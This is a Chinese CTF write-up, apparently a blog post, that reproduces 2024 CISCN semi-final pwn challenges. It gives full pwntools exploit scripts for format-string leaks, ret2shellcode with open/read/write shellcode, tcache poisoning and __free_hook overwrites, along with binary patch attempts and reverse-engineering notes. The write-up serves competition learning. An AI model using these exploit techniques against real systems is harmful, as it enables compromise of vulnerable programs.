2024华东北分区赛-pwn复现

第一次打国赛,也是第一次打awdp(非正规)。赛后平台、题目都是非预期。竟然可以用fix来break,算是长见识了。这次比赛更多的是积累经验了。

8web 2pwn。两道题都通了,可是都没fix成功。

9.23访问平台地址,9.30靶机开始访问

pwn-1

这题蛮可惜的,漏洞就是栈溢出+格式化字符串,花了40多分钟打通。一开始看到题目先想着fix了,没有先break。结果patch了6次都没过,到了10.45放弃fix这题,开始break。到13轮出了,最终吃了3w多分。当时应该先break再fix的,能多吃五六轮分,大概还能拿七八千分。

break

(111

image-20240625153135803

格式化字符串泄露栈地址以及canary,由于没开NX,栈上写shellcode,打ret2shellcode

shellcode写orw,open用openat代替

写shellcode的时候read从文件描述符3里面读了,导致本地成功泄露flag,远程没成功泄露,又花了好多时间排除shellcode的问题,最后从rax里面读,大概花了十分钟,又是一轮分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

#1 --> stackoverflow
#2 --> fmt

def menu1(payload):
sla(b'2: get name\n' , str(1))
sla(b'->set name\n', payload)

def menu2():
sla(b'2: get name\n' , str(2))

def getflag():
sla(b'2: get name\n' , str(-1))

if __name__ == '__main__' :
context.log_level = 'info'
IPort = '192.73.1.182 80'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

payload = b'%17$p--%18$p' #-0x60 --> shellcode
menu1(payload)
menu2()
ru(b'0x')
canary = int(r(16), 16)
ru(b'0x')
ori = int(r(12), 16)

shellcode = asm('''
mov r14, 0x67616c66
push r14
mov rsi, rsp
mov rdi, -100
mov edx, 0
mov rax, 257
syscall

mov rsi, rsp
mov rdi, rax
mov rdx, 0xff
xor rax, rax
syscall

mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
''')


payload = shellcode.ljust(0x48, b'\x00') + p64(canary) + p64(0x0) + p64(ori-0x60)

# debug('b *$rebase(0x0001474) \n \
# b *$rebase(0x0014A6)')
# debug('b *$rebase(0x014D7 )')
menu1(payload)
getflag()

leak("canary", canary)
leak("ori", ori)
itr()

fix

在10.45之前fix了6次,一直没成功,栈溢出改字节为0x48或者0x28

改printf为puts、添加“%s”,改printf调用前的跳转,都尝试过了,都没过check。尤其是改跳转,自己都不知道还能怎么打了,一直没check过。不排除对文件字节大小的check

patch脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from AwdPwnPatcher import *

binary = "./pwn"
awd_pwn_patcher = AwdPwnPatcher(binary)
fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\x00\x00")
assembly = """
lea rax, [rbp-0x50]
mov rsi, rax
lea rdi, qword ptr [{}]
""".format(hex(fmt_offset))
awd_pwn_patcher.patch_by_jmp(0x14AB, jmp_to=0x14B7, assembly=assembly)
assembly = '''
mov edx, 0x48
'''
awd_pwn_patcher.patch_origin(0x0147D, end=0x01482, assembly=assembly)

awd_pwn_patcher.save()

这样一直patch不过,看了Ahisec的wp,原来直接改栈权限就行了吗……吃了没经验的亏了

image-20240625154514962

rwx改成rw就行了,7->6即可。

主要是光改这个也能绕过啊……打ROPgadget等等,格式化字符串和溢出都没改,还是能打的。这就是不给libc的正确解法吗……

实在不懂怎么check的。改了溢出、加了“%s”,我认为就算是没有开NX也打不了的,结果过不了check……

pwn-2

静态 高版本编译

之前没有遇到过导入符号表还原符号的方法,比赛的时候边逆边调,碰巧题目不是特别难,硬是调出来了,程序都没逆完。可惜一直在弄pwn-1的patch,这题在14.40多break,最后只吃了6k多分

break

逆向

image-20240625160948822

逆的时候感觉chkflag很奇怪,里面貌似是使用了open读取flag

image-20240625161209814

调一调发现读取flag到了堆上

image-20240625161246286

然后利用getflag的任意地址读能读到id地址为0x4efaf0上的flag

image-20240625161349274

中间多加一步addflag来泄露堆地址,通过计算得到addflag得到的第一块chunk地址始终与flag的偏移为876

最后直接泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'6: check flag\n',str(num))
def add():
menu(2)

def getflag(info):
menu(5)
sla(b':\n', str(info))

def openflag():
menu(6)

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = '192.73.1.80 80'
pwnfile = './heap'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

add()
ru(b':')
ori = int(r(8), 10)

openflag()
getflag(ori + 876)

# system_addr, bin_sh = get_sysbin_local('puts', puts_addr)
print("ori = " + str(ori))
# debug('b *0x00000000004020b2')
itr()
#0x4ef784

fix

漏洞太多不知道修什么了……好像还是人工测,太慢了

尝试了个将flag改为flaa,check过不了。原来不止看能不读到flag吗

最后是没patch成功。太菜了。。。

Real返璞归真这位师傅是nop掉了后门函数

Ahisec是改了chkflag里面的参数

自己还是太菜了。。。

复现

当时没逆完的现在补补吧。

恢复符号表

先尝试恢复静态编译去符号的库函数名,题目的编译环境为22,估计靶机环境是2.34以上。

IDA_flair直接导入对应的sig文件,对应sig文件push0ebp/sig-database: IDA FLIRT Signature Database (github.com)下载,里面最glibc最高为2.35,如果是再高点就需需要自己生成了。

导入成功

image-20240625171320497

函数分析

lsflag遍历一遍chunk

addflag函数,从预分配的0x191大小的chunk中,分割出了12字节,前四字节写入size8,后8字节为data

qword_4E82F0里面保存着chunk的初始地址

image-20240625171441484

image-20240625171911393

editflag函数

往v4地址里面写入v5,任意地址写

image-20240625172322905

delflag函数

将data域置空

image-20240625172418594

getflag函数

输出v8地址内的数据,v8可控,任意地址读

image-20240625172532626

chkflag函数

image-20240625172616549

读取flag前8字节取出,同时也会在堆上保存flag–>非预期存在原因

image-20240625173208267

image-20240625173355406

接下来的sub_401D0F将取出来的8字节flag保存在0x4E60F0处

image-20240625173911635

image-20240625173900469

sub_401C51,将flag保存在了堆上

image-20240625174003363

image-20240625174209271

然后是四次的循环加密

image-20240625174702436

image-20240625174530752

过了这段chk后会打印flag

image-20240625174644089

先申请出四块chunk用于存放加密后的flag,然后执行chkflag,将flag写入到0x4E60F0内,这时使用getflag取出0x4E60F0中加密过后的flag。再循环四次使用editflag往四块chunk中写入四段循环加密的flag,最后执行chkflag就能成功的过check,输出flag。

一个去了符号表的逻辑漏洞……洞有点多,check的点也是奇奇又怪怪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'6: check flag\n',str(num))
def addflag():
menu(2)
def editflag(target, value):
menu(3)
sl(str(target) + str(' ') + str(value))
def getflag(info):
menu(5)
sla(b':\n', str(info))
def chkflag():
menu(6)

if __name__ == '__main__' :
context.log_level = 'info'
IPort = '192.73.1.80 80'
pwnfile = './heap'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

#add_4_chunk
addflag()
ru(b':')
ori = int(r(8), 10)
addflag()
addflag()
addflag()
chkflag()

getflag(0x4e60f0)
ru(b'::')
magic = int(r(19), 10)

for i in range(4):
editflag(int(ori + 12*i), int(magic))
magic = (0x5851F42D4C957F2D * magic + 12345) & 0x7FFFFFFFFFFFFFFF

chkflag()

print("ori = " + str(ori))
leak("magic", magic)
# debug('b *0x00000000004020b2 \n \
# tele 0x4E82F0 \n \
# hex 0x4E60F0')
itr()

image-20240625181804898

总结

第一次国赛就这样过了,经验还是太少了,没想到pwn1改栈权限就行了。。。再接再厉吧。

awd类型的比赛以攻为主,防御为辅,毕竟都是刷ctf出来的,肯定是漏洞利用熟悉一点,再怎么样也会比瞎捣鼓patch好点。

链接参考:

https://blog.csdn.net/weixin_45906533/article/details/139937288

2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎 (zhihu.com)

华南

一道堆题

my_heap

Ubuntu GLIBC 2.35-0ubuntu3.7

add:输入1能申请任意大小chunk,更新buf指向申请的chunk;非1只能malloc(0x4f0),不更新buf

dele:uaf

show:打印buf->data 7字节,并且进行异或加密

edit:往buf里写8字节数据

getbackdoor:拿到程序基地址以及一次0x20字节写

tcache机制 libc-2.26引入 Ubuntu-17.04以后

tcache_perthread_struct中存储着各个tcachebin结构体的counts以及bin表头,tcache_entry->next

2.26下tcache不会检查链表完整性,double free

2.29增加了对size位的chk,需要进行size对齐 增加了链表遍历直接free两次失效,并且counts不能向下溢出

2.34+增加了PROTECT_PTR(pos, ptr)宏定义来将 ptr_addr>>12与ptr进行异或加密

tc free时会对e->key进行赋值,用于检测double free,将key破坏掉就能绕过double的chk

2.34+ 删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive 没有了malloc_hook等

getshell方法有:1.栈;2.vtable;3.tls_dtor_list挟持__exit_funcs链表(exit()分析与利用-安全客 - 安全资讯平台 (anquanke.com)

攻击思路:

  1. 利用uaf泄露出libc_base和heap_base
  2. 利用getbackdoor来拿程序基地址,以及改写tcachebin_key,实现tcachebin doublefree,但是由于我们每次只能控制buf指向的chunk,所以无法得到两个以上的相同大小的tc来进行tb attack。需要先控制了tcache_perthread_struct结构体中的counts数组,对bin数目进行控制。由于我们只能写8字节,所以挟持到tcache_perthread_struct+0x10后可控0x20~0x50(8/2)。然后修改1<counts<7(目的是防止后面的chunk free时被放入到fb中)
  3. 后面就是两次tcachebin attack:利用泄露出来的程序基地址来打buf,此时buf->buf,然后利用edit修改buf,此时将buf修改为了edit函数的返回地址,然后再利用edit函数修改返回地址为backdoor+8 或者 one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'magic heap has 4 choice : \nadd\ndelete\nshow\nedit\n',str(num))
def add(idx=1, size=1):
menu(1)
sla(b'which one you choose?\n', str(idx))
if idx != 5:
sla(b'size:',str(size))
def dele():
menu(2)
def edit(content=b'aaaa'):
menu(4)
sa(b'edit data:', content)
def show():
menu(3)
ru(b'the data:')
enc = r(7)
# print(enc)
# for i in range(7):
# enc[i] = enc[i] ^ (i + 153)
# print(enc)
dec = [0]*7
j = 0
for i in enc:
dec[j] = i ^ (j+153)
j += 1
return uu64(bytes(dec))


def getBackdoor():
menu(5)


if __name__ == '__main__' :
# context.log_level = 'info'
IPort = '1 1'
pwnfile = './my_heap'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)
add(1, 0x418)
add(5)
dele()
libc_base = show() - 0x21ace0
add(1, 0x88)
dele() #tb -> 1
heap_addr = show()
heap_base = heap_addr << 12
getBackdoor()
ru(b'0x')
ori = int(r(12), 16)
buf = ori - 0x12be + 0x04040
ru(b'edit data:')
s(p64(0)+p64(0xdeadbeef)) #key_clean
dele() #tb ->tcache_perthread ->1
edit(p64(heap_base >>12 ^(heap_base + 0x10)))
add(1, 0x88)
add(1, 0x88)
dele()
edit(p64(0))

add(1, 0x38)
dele()
add(1, 0x48)
dele()
add(1, 0x288)
dele()
edit(b'\x03\x03\x05\x00\x05\x00\x05\x00') #0x30->5 0x40->5 0x50->5

add(1, 0x38)
dele()
edit(p64((heap_base>>12)^(libc.sym['environ'] + libc_base)))
add(1, 0x38)
add(1, 0x38)
stack_addr = show()
ret_addr = stack_addr - 0x140

add(1, 0x48)
dele()
edit(p64((heap_base>>12) ^ (buf)))
add(1, 0x48)
add(1, 0x48)

edit(p64(ret_addr))
edit(p64(ori+8))

leak("libc_base", libc_base)
leak("heap_base", heap_base)
leak("stack_addr", stack_addr)
leak("ret_addr", ret_addr)
leak("backdoor_addr", ori)
leak("buf", buf)
# leak("info", info)
# debug('tele $rebase(0x4040) \n \
# b *$rebase(0x0x148d)')

itr()

fix的话把uaf给patch掉,backdoor nop掉

华中

pwn1-note

2.31-0ubuntu9.9

add:size小于0xFFF

dele:uaf

edit、show正常

利用largechunk泄露libc,然后利用uaf改tcache链表为__free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'5. exit\n',str(num))
def add(size, content=b'aaaa'):
menu(1)
sla(b'The size of your content: \n',str(size))
sla(b'content: \n', content)
def dele(idx):
menu(3)
sla(b'index: \n', str(idx))
def edit(idx, size, content=b'aaaa'):
menu(2)
sla(b'index: \n', str(idx))
sla(b'The size of your content: \n', str(size))
sa(b'Content: \n', content)
def show(idx):
menu(4)
sla(b'index: \n', str(idx))


if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28278'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)
add(0x418) #0
add(0x18) #1
dele(0)
show(0)
libc_base = uu64(r64()) - 0x1ecbe0
add(0x28) #2
add(0x28) #3
dele(3)
dele(2) #0x30: 2->3
edit(2, 0x8, p64(libc_base + libc.sym['__free_hook']))
add(0x28, b'/bin/sh\x00') #4
add(0x28) #5
edit(5, 0x8, p64(libc_base+libc.sym['system']))
dele(4)

leak("libc_base", libc_base)
# debug('tele $rebase(0x04060) \n \
# tele $rebase(0x06060)')
itr()